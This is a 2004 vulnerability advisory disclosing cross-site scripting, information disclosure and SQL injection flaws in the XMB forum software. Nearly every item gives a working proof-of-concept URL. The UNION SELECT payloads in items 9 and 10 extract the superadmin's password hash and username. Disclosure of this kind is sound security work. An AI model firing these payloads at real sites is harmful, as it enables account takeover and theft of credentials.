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[waraxe-2004-SA#012] - Multiple vulnerabilities in XMB 1.8 Partagium SP3 and 1.9 Nexus Beta





Author: Janek Vind "waraxe"
Date: 26. March 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Extreme Messageboard aka XMB is very popular and feature rich forum,
based on php and mysql. More information can be found on sites
http://www.aventure-media.co.uk and http://www.xmbforum.com


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Ok, we have lot's of the security flaws to disclosure, so let's begin...


1. php and webserver info disclosure and possible XSS

Beginning with XMB 1.9 beta versions, file named phpinfo.php is shipped with forum
software. Original code:

<?php
/* $Id: phpinfo.php, v1.00 2003/10/11 10:45:18 Tularis Exp $ */
phpinfo();
?>

In this way ANYONE can get lot's of insider information from webserver and php engine
environment - good startup for attacker...
And even "better" - phpinfo.php can be used for exploiting the XSS:

http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(document.cookie);</script>



2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta

Example http request:

http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document.cookie);>

Remark: Log off before trying this or it will not work!



3. XSS in editprofile.php --> only in 1.9 beta

Example request:

http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uheader=<body%20onload=alert(document.cookie);>


4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta

Example request:

http://localhost/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(document.cookie);>


5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta

Reason --> uninitialized variables $viewmost,$replymost,$latest

http://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&replymost="></textarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&latest="></textarea><body%20onload=alert(document.cookie);>


6. XSS in post.php

Reason --> uninitialized variables $message,$icons --> works in 1.8 SP3 and 1.9 beta

http://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></textarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=<body%20onload=alert(document.cookie);>


7. XSS in forumdisplay.php --> works in 1.8 SP3 and 1.9 beta

Reason --> uninitialized variables $threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay

http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay=<body%20onload=alert(document.cookie);>


8. Sql injection and XSS in forumdisplay.php

http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=alert(document.cookie);>

Remark: will work only, when no user logged in, because logging in will override the $tpp value.


*************** [really scary sql injection bugs] ***************

9. sql injection and XSS in member.php --> only in 1.9 beta version


Let's look at original code, line 461:

switch($self['status']){
case 'member';
$restrict .= " f.private !='3' AND";

case 'Moderator';

case 'Super Moderator';
$restrict .= " f.private != '2' AND";

case 'Administrator';
$restrict .= " f.userlist = '' AND f.password = '' AND";

case 'Super Administrator';
break;

default:
$restrict .= " f.private !='3' AND f.private != '2' AND f.userlist = '' AND f.password = '' AND";
break;
}
Hmm, $restrict is not initialized anywhere! So we can delivere here all what we want:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=foobar
You have an error in your SQL syntax.

XSS:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=<body%20onload=alert(document.cookie);>

And now the funniest part - how to get superadmin's password's md5 hash from database:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

Or u want superadmin's username? Here it is:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*


10. sql injection and XSS in misc.php --> only in 1.9 beta version


http://localhost/xmb19beta/misc.php?action=search&restrict=<body%20onload=alert(document.cookie);>

http://localhost/xmb19beta/misc.php?action=search&restrict=%20private=-99%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*


11. sql injection and XSS in today.php --> only in 1.9 beta version

http://localhost/xmb19beta/today.php?restrict=<body%20onload=alert(document.cookie);>




*************** [/really scary sql injection bugs] ***************


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (7163 reads)

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